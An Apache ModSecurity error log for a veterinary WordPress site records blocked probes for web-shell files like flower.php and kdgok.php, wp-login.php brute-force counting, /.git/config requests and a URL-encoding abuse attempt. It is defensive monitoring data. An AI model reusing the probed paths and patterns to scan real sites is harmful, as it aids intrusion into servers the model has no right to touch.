[Thu Dec 11 20:44:24.987151 2025] [:error] [pid 24483:tid 24490] [client 52.230.86.213:47077] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aTq8qFGHKh2d_uVkopRf8gAAAgU"]
[Thu Dec 11 20:44:25.174059 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:47094] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aTq8qVhPEXihPBKMpRNeuQAAAQQ"]
[Thu Dec 11 20:44:25.349069 2025] [:error] [pid 58099:tid 58125] [client 52.230.86.213:62216] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aTq8qcKZVSF_bdPFqRgYdwAAANg"]
[Thu Dec 11 20:44:25.525691 2025] [:error] [pid 24527:tid 24557] [client 52.230.86.213:62215] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aTq8qV9_glvtS5vXiTUIcAAAAoE"]
[Thu Dec 11 21:35:15.913476 2025] [:error] [pid 58814:tid 58832] [client 34.124.147.91:45856] [client 34.124.147.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.124.147.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTrIk9iz0l9AD_3pkMxEngAAAdA"]
[Thu Dec 11 22:36:21.059951 2025] [proxy_fcgi:error] [pid 35112:tid 35128] [client 167.235.143.113:61142] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Thu Dec 11 22:36:21.060050 2025] [proxy_fcgi:error] [pid 35112:tid 35128] (104)Connection reset by peer: [client 167.235.143.113:61142] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Thu Dec 11 23:03:13.708887 2025] [:error] [pid 4911:tid 4923] [client 31.31.203.16:59934] [client 31.31.203.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.31.203.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTrdMQ-tKegTX9jNpJkcOgAAAUk"]
[Fri Dec 12 00:06:36.934915 2025] [ssl:error] [pid 4564:tid 4582] [client 15.204.183.221:15022] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Fri Dec 12 00:29:06.613851 2025] [:error] [pid 65374:tid 65382] [client 34.151.198.67:48300] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.151.198.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTrxUvwxTYxIt4J3WeoFhgAAAEQ"]
[Fri Dec 12 00:49:09.462974 2025] [:error] [pid 53552:tid 53577] [client 159.89.42.101:50012] [client 159.89.42.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aTr2BQRA1W2830SPmKbEaQAAABc"]
[Fri Dec 12 01:03:00.588680 2025] [ssl:error] [pid 53552:tid 53561] [client 15.204.183.221:9122] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Fri Dec 12 03:31:30.283781 2025] [ssl:error] [pid 44005:tid 44015] [client 15.204.161.7:21306] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Fri Dec 12 03:37:56.619757 2025] [:error] [pid 9264:tid 9338] [client 5.161.241.41:47148] [client 5.161.241.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.241.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTsdlM3RzAESSPpx487dwgAAAJA"]
[Fri Dec 12 03:51:53.598763 2025] [:error] [pid 26520:tid 26571] [client 66.70.178.228:59578] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.70.178.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTsg2UG_frlY5vNXu_BEKAAAAFM"]
[Fri Dec 12 04:14:44.016218 2025] [ssl:error] [pid 26521:tid 26601] [client 15.204.161.7:45646] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Fri Dec 12 04:39:20.301074 2025] [:error] [pid 26607:tid 26620] [client 159.65.240.101:53406] [client 159.65.240.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aTsr-Mb_b0tOEWTL2KnS6QAAAMs"]
[Fri Dec 12 05:54:38.498133 2025] [ssl:error] [pid 60649:tid 60664] [client 40.160.16.154:46554] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Fri Dec 12 06:26:04.768068 2025] [ssl:error] [pid 26607:tid 26617] [client 40.160.16.154:42260] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Fri Dec 12 06:27:29.533290 2025] [:error] [pid 26607:tid 26624] [client 74.208.118.55:43940] [client 74.208.118.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.118.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTtFUcb_b0tOEWTL2KntyAAAAM8"]
[Fri Dec 12 07:56:43.311842 2025] [:error] [pid 26520:tid 26561] [client 195.154.208.64:49448] [client 195.154.208.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.154.208.64, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTtaO0G_frlY5vNXu_B2KAAAAEk"]
[Fri Dec 12 09:22:17.016357 2025] [:error] [pid 27950:tid 27970] [client 216.249.99.220:47081] [client 216.249.99.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.249.99.220, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTtuSYVLRvkrdsSc1F32cgAAAVI"]
[Fri Dec 12 10:54:12.177095 2025] [:error] [pid 60649:tid 60666] [client 178.128.36.69:58544] [client 178.128.36.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.36.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTuD1FOcUGKU3sgfHP-GpQAAAQ4"]
[Fri Dec 12 11:10:20.175960 2025] [:error] [pid 26521:tid 26590] [client 43.156.232.190:56644] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTuHnJdhcAPU617AKTDFBAAAAIs"]
[Fri Dec 12 12:22:28.220735 2025] [:error] [pid 27950:tid 27964] [client 84.247.191.234:56268] [client 84.247.191.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.191.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTuYhIVLRvkrdsSc1F0odQAAAUw"]
[Fri Dec 12 13:55:45.484281 2025] [:error] [pid 60649:tid 60674] [client 159.203.181.155:44340] [client 159.203.181.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.181.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTuuYVOcUGKU3sgfHP-yjgAAARY"]
[Fri Dec 12 15:29:29.709270 2025] [:error] [pid 26519:tid 26546] [client 116.204.0.153:33456] [client 116.204.0.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.204.0.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTvEWc8TRgSGOeWqEhe_QgAAABc"]
[Fri Dec 12 17:26:36.759820 2025] [:error] [pid 60649:tid 60674] [client 31.41.221.113:47526] [client 31.41.221.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.41.221.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTvfzFOcUGKU3sgfHP_RLAAAARY"]
[Fri Dec 12 18:51:10.728255 2025] [:error] [pid 26607:tid 26610] [client 46.249.40.9:42532] [client 46.249.40.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.249.40.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTvznsb_b0tOEWTL2Kl_9AAAAME"]
[Fri Dec 12 20:47:30.788735 2025] [:error] [pid 55760:tid 55771] [client 52.167.144.158:62939] [client 52.167.144.158] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aTwO4lObDQlftFDyGawNZAAAAYk"]
[Fri Dec 12 21:21:57.998889 2025] [:error] [pid 26521:tid 26594] [client 122.150.139.86:7332] [client 122.150.139.86] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "188.212.135.156_cd20cbb671f1fc73c65abcdf3ddda185545866b3"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css"] [unique_id "aTwW85dhcAPU617AKTCF-AAAAI8"], referer: https://vetstars.com.au/
[Fri Dec 12 21:51:27.494883 2025] [:error] [pid 26607:tid 26616] [client 20.18.142.105:27586] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTwd38b_b0tOEWTL2KmmfAAAAMc"]
[Fri Dec 12 21:51:28.159278 2025] [:error] [pid 26519:tid 26542] [client 20.18.142.105:27587] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTwd4M8TRgSGOeWqEhf7PAAAABM"]
[Fri Dec 12 21:51:28.757817 2025] [:error] [pid 26519:tid 26528] [client 20.18.142.105:27524] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTwd4M8TRgSGOeWqEhf7PQAAAAU"]
[Fri Dec 12 21:51:29.375525 2025] [:error] [pid 26519:tid 26541] [client 20.18.142.105:27603] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aTwd4c8TRgSGOeWqEhf7PgAAABI"]
[Fri Dec 12 21:51:30.394369 2025] [:error] [pid 55760:tid 55763] [client 20.18.142.105:27533] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTwd4lObDQlftFDyGawd2gAAAYE"]
[Fri Dec 12 21:51:31.147424 2025] [:error] [pid 55760:tid 55770] [client 20.18.142.105:27531] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTwd41ObDQlftFDyGawd2wAAAYg"]
[Fri Dec 12 21:51:31.579448 2025] [:error] [pid 27950:tid 27964] [client 20.18.142.105:27585] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTwd44VLRvkrdsSc1F2pkQAAAUw"]
[Fri Dec 12 21:51:32.418627 2025] [:error] [pid 60649:tid 60668] [client 20.18.142.105:27548] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTwd5FOcUGKU3sgfHP8DEAAAARA"]
[Fri Dec 12 21:51:32.853520 2025] [:error] [pid 26520:tid 26558] [client 20.18.142.105:27611] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aTwd5EG_frlY5vNXu_AEEAAAAEY"]
[Fri Dec 12 21:51:33.174518 2025] [:error] [pid 55760:tid 55776] [client 20.18.142.105:27628] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aTwd5VObDQlftFDyGawd3AAAAY4"]
[Fri Dec 12 21:51:33.585285 2025] [:error] [pid 60649:tid 60663] [client 20.18.142.105:27604] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aTwd5VOcUGKU3sgfHP8DEgAAAQs"]
[Fri Dec 12 21:51:34.138169 2025] [:error] [pid 27950:tid 27958] [client 20.18.142.105:27646] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-title.php"] [unique_id "aTwd5oVLRvkrdsSc1F2pkgAAAUY"]
[Fri Dec 12 21:51:34.475161 2025] [:error] [pid 26519:tid 26524] [client 20.18.142.105:27595] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTwd5s8TRgSGOeWqEhf7PwAAAAE"]
[Fri Dec 12 21:51:34.754270 2025] [:error] [pid 55760:tid 55767] [client 20.18.142.105:27607] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTwd5lObDQlftFDyGawd3QAAAYU"]
[Fri Dec 12 21:51:35.123849 2025] [:error] [pid 55760:tid 55779] [client 20.18.142.105:27529] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTwd51ObDQlftFDyGawd3gAAAZE"]
[Fri Dec 12 21:51:35.583211 2025] [:error] [pid 26519:tid 26526] [client 20.18.142.105:27601] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTwd588TRgSGOeWqEhf7QQAAAAM"]
[Fri Dec 12 21:51:35.907739 2025] [:error] [pid 60649:tid 60674] [client 20.18.142.105:27600] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aTwd51OcUGKU3sgfHP8DEwAAARY"]
[Fri Dec 12 21:51:36.164931 2025] [:error] [pid 60649:tid 60662] [client 20.18.142.105:27615] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aTwd6FOcUGKU3sgfHP8DFAAAAQo"]
[Fri Dec 12 21:51:36.864820 2025] [:error] [pid 60649:tid 60653] [client 20.18.142.105:27535] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aTwd6FOcUGKU3sgfHP8DFQAAAQE"]
[Fri Dec 12 21:51:37.297300 2025] [:error] [pid 26521:tid 26589] [client 20.18.142.105:27624] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-home.php"] [unique_id "aTwd6ZdhcAPU617AKTCOZAAAAIo"]
[Fri Dec 12 21:51:37.888946 2025] [:error] [pid 26520:tid 26568] [client 20.18.142.105:27633] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aTwd6UG_frlY5vNXu_AEFQAAAFA"]
[Fri Dec 12 21:51:38.534429 2025] [:error] [pid 55760:tid 55765] [client 20.18.142.105:27602] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aTwd6lObDQlftFDyGawd4gAAAYM"]
[Fri Dec 12 21:51:38.829239 2025] [:error] [pid 26519:tid 26531] [client 20.18.142.105:27639] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aTwd6s8TRgSGOeWqEhf7RQAAAAg"]
[Fri Dec 12 21:51:39.851660 2025] [:error] [pid 55760:tid 55782] [client 20.18.142.105:27553] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aTwd61ObDQlftFDyGawd5AAAAZQ"]
[Fri Dec 12 21:51:40.868526 2025] [:error] [pid 60649:tid 60655] [client 20.18.142.105:27623] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aTwd7FOcUGKU3sgfHP8DFgAAAQM"]
[Fri Dec 12 21:51:41.482184 2025] [:error] [pid 26519:tid 26542] [client 20.18.142.105:27617] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aTwd7c8TRgSGOeWqEhf7SgAAABM"]
[Fri Dec 12 21:51:41.879682 2025] [:error] [pid 27950:tid 27959] [client 20.18.142.105:27590] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aTwd7YVLRvkrdsSc1F2plAAAAUc"]
[Fri Dec 12 21:51:42.270008 2025] [:error] [pid 27950:tid 27956] [client 20.18.142.105:27637] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aTwd7oVLRvkrdsSc1F2plgAAAUQ"]
[Fri Dec 12 21:51:42.843884 2025] [:error] [pid 27950:tid 27973] [client 20.18.142.105:27613] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aTwd7oVLRvkrdsSc1F2pmAAAAVU"]
[Fri Dec 12 21:51:43.413117 2025] [:error] [pid 26521:tid 26596] [client 20.18.142.105:27610] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aTwd75dhcAPU617AKTCOaAAAAJE"]
